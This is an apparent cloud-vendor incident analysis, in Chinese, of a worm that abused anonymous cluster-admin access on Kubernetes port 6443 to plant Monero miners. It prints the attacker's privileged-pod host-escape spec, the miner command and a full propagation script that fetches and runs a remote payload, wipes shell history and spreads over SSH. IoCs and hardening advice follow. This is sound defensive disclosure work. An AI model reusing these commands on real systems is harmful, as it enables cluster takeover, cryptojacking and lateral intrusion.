K8s 6443批量入侵调查
[Blue Team]
背景
云安全中心9月8日收到客户求助,其部署在公有云K8s集群遭到入侵,在数分钟之内K8s节点全部沦陷,并被植入挖矿程序。
阿里云安全团队紧急协助排查入侵原因,结合K8s审计日志以及云安全中心主机侧日志还原入侵链路,发现了此次针对K8s API Server的批量攻击。
K8s API Server鉴权问题
K8s API Server 默认会开启两个端口:8080(Localhost Port)和 6443(Secure Port),其中8080端口为WEB UI Dashboard,无需认证,用于本地测试与监控;6443端口需要认证且有TLS保护,用于远程连接(如:通过kubectl管理集群)。
官方文档对两种API的描述如下:
随着K8s在云上的普及,针对8080端口的公网未授权访问利用数年间从未停止,云服务商提供的容器默认已不存在该问题,但用户基于服务器自建K8s集群如仍存在少量开放到公网并被蠕虫入侵的案例。
6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败:
User "system:anonymous" cannot get at the cluster scope.
但是在实际情况中,我们发现一些集群由于鉴权配置不当,将"system:anonymous"
用户绑定到"cluster-admin"
用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
这为自动化攻击提供了便利,黑客通过批量扫描开放在公网的6443端口,向存在鉴权问题的集群下发挖矿程序。在2019年我们监控到首次大规模针对6443端口的利用,如今针对6443鉴权问题的K8s蠕虫卷土重来,并带来了更为复杂、隐蔽的利用方式。
攻击流程
攻击者批量扫描暴露在公网的6443端口,首先通过"system:anonymous"
匿名账号尝试登录,此时在K8s审计日志中我们观察到一次"system:anonymous"
成功认证的记录:
K8s审计日志annotations字段
{"authorization.k8s.io/decision":"allow","authorization.k8s.io/reason":"RBAC: allowed by ClusterRoleBinding \"system:anonymous\" of ClusterRole \"cluster-admin\" to User \"system:anonymous\""}
之后攻击者列举并检查可用APIs,然后通过API枚举全部的node(K8s集群的计算资源),并向每个node植入挖矿程序。通过攻击者IP对K8s审计日志进行过滤,可以清楚观察到这一自动化的攻击链路:
在植入挖矿程序的过程中,攻击者首先通过K8s API Server会在指定Node创建一个Pod,名为 s-<Node名称>
,该Pod首先启动docker:latest
镜像,并在镜像内部通过command参数再启动一个docker容器(容器内部的容器),该容器为特权容器,且与主机共享进程、网络空间。
{
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "s-k8sdevops54109cass",
"creationTimestamp": null,
"labels": {
"run": "s-k8sdevops54109cass"
}
},
"spec": {
"volumes": [{
"name": "run",
"hostPath": {
"path": "/var/run",
"type": ""
}
}],
"containers": [{
"name": "docker",
"image": "docker:latest",
"command": ["docker", "run", "-it", "--privileged", "--pid=host", "--net=host", "docker", "sh", "-c", "nsenter --mount=/proc/1/ns/mnt -- su -"],
"resources": {
"requests": {
"cpu": "10m"
}
},
"volumeMounts": [{
"name": "run",
"mountPath": "/var/run"
}],
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File",
"imagePullPolicy": "Always",
"stdin": true,
"tty": true
}],
...
}
随后,攻击者通过K8s API Server attach到特权容器内部,并使用交互式的方法下发指令,随后该Pod以及Pod内部的特权容器将被删除以清理痕迹。
/api/v1/namespaces/default/pods/s-k8sdevops54109cass/attach?container=docker&stdin=true&stdout=true&tty=true
攻击者交互式下发的指令不会被K8s审计日志记录,我们继续观察主机内部的进程日志。
在执行了一些基础环境探测指令后,攻击者在特权容器内部启动挖矿镜像:
docker run -dit --restart always --name k8s_POD_coredns-deploy-5124333766-2ret5k_kube-system_e279b644-708b-11ea-ab98-12x8fd333dbc2_0 hsww/xmrig-centos7 -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0
该镜像 hsww/xmrig-centos7
为DockerHub公开镜像,攻击者通过name参数将容器名伪造成K8s coredns的容器以躲避检测。由于K8s deployment启动的容器名有固定规律,一些安全产品会通过容器名判断其所在K8s的namespace、pod名称,此时将被攻击者误导。
此外,攻击者通过交互式访问下发蠕虫脚本
curl http://1.177.165.231/sd/T3llyz.sh
该脚本首先下载 1.177.165.231/sd/T3llyz.tar.gz
,解压后为xmrig挖矿程序及配置文件,之后修改.bashrc
使用户在登录服务器时挖矿痕迹被清理。之后利用/root
和/home ssh key
进行横向传播。
#!/bin/bash
mkdir /tmp/.oyahoe
cd /tmp/.oyahoe
curl -o config.tar.gz 1.177.165.231/sd/T3llyz.tar.gz || wget -O config.tar.gz 1.177.165.231/sd/T3llyz.tar.gz
tar -xvf *
chmod 777 *
rm -rf *.gz
./*ba*
pkill -f xmrig
pkill -f docker-cache
pkill -f trace
echo 'cd /tmp/.oyahoe; nohup ./*ba*; cd /; history -c' >> $HOME/.bashrc
echo 'pkill -f xmrig' >> $HOME/.bashrc
echo 'pkill -f docker-cache' >> $HOME/.bashrc
echo 'pkill -f trace' >> $HOME/.bashrc
history -c
shred -zuv $HOME/.bash_history || rm -rf $HOME/.bash_history
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl http://1.177.165.231/sd/T3llyz.sh|sh || wget -q -O- http://1.177.165.231/sd/T3llyz.sh)|sh >/dev/null 2>&1 &' & done
fi
for file in /home/*
do
if test -d $file
then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl http://1.177.165.231/sd/T3llyz.sh|sh || wget -q -O- http://1.177.165.231/sd/T3llyz.sh)|sh >/dev/null 2>&1 &' & done
fi
fi
done
至此,攻击流程结束,攻击者通过6443匿名访问控制K8s API Server,在Pod中构建命令通道并使用交互式执行下发指令,下发挖矿及横向移动程序,整体流程如下所示:
在此自动化攻击过程中,攻击者使用了"中间介质Pod+交互式执行+伪造container名称+bashrc插入痕迹清理"的方式躲避检测。
所使用的挖矿镜像近11天已有1.9K次下载:
从挖矿地址来看,其算力从9.2开始到9.8达到高峰,目前仍在持续:
IoCs
- http://1.177.165.231/sd/T3llyz.tar.gz
- http://1.177.165.231/sd/T3llyz.sh
- image: hsww/xmrig-centos7
- K8s Attacker IP: 112.167.173.152
总结
安全建议1- 自查 K8s API Server 6443鉴权问题需要关注,可以通过以下命令自查"system:anonymous"拥有的权限: kubectl get clusterrolebindings -o yaml | grep system:anonymous
安全建议2- 规范化使用RBAC 正确使用RBAC策略绑定,不要改变或新增集群原生用户或组(system:开头)的权限绑定,也不要改变系统原生的集群角色(clusterrole)或角色(role)。
阿里云容器服务在控制台提供了可视化的授权管理页面,根据不同的应用场景提供了对应的预置集群角色模板,方便用户对指定子账号或RAM角色进行集群或namespace维度的权限绑定,同时支持用户自定义集群权限的控制台绑定,减少用户对RBAC的学习成本。详情参见:https://help.aliyun.com/document_detail/119596.html?spm=a2c4g.11186623.6.627.385a2b303VW0sP
安全建议3- 谨慎开启集群公网 尽量使用内网方式创建集群,减少apiserver暴露在公网上受到攻击的可能性。
安全建议4- K8s日志审计 K8s日志的安全审计除了攻击特征/威胁情报的黑名单匹配之外,还需对访问者建立行为链路的审计以覆盖匿名访问或凭证泄露后鉴权成功的攻击事件。
安全建议5-使用阿里云容器服务默认配置并开启威胁检测功能 阿里云容器服务默认不受此攻击影响,建议采用默认鉴权配置,并通过以下配置开启云安全中心K8s威胁检测功能,第一时间发现通过K8s API Server发起的入侵事件。
安全建议6- 使用PSP安全策略 PodSecurityPolicy(简称PSP)是Kubernetes中Pod部署时重要的安全校验手段,能够有效地约束应用运行时行为安全。当一个攻击者已经获取到集群的访问凭证时,有效的PSP策略配置和绑定可以通过阻止攻击者部署特权容器或挂载敏感目录等校验手段,有效阻止攻击者进行下一步入侵,详情参见 :https://help.aliyun.com/document_detail/173620.html?spm=a2c4g.11186623.6.845.596116d7A2vLE6
安全建议7- 安全管理kubeconfig凭证 对于ACK容器服务标准版集群来说,kubeconfig是用户访问集群apiserver的唯一凭证,要严格控制拥有管理员权限的kubeconfig凭证的发放范围,对于可能泄露的凭证要及时吊销,吊销方法请参见: https://help.aliyun.com/document_detail/173620.html?spm=a2c4g.11186623.6.845.596116d7A2vLE6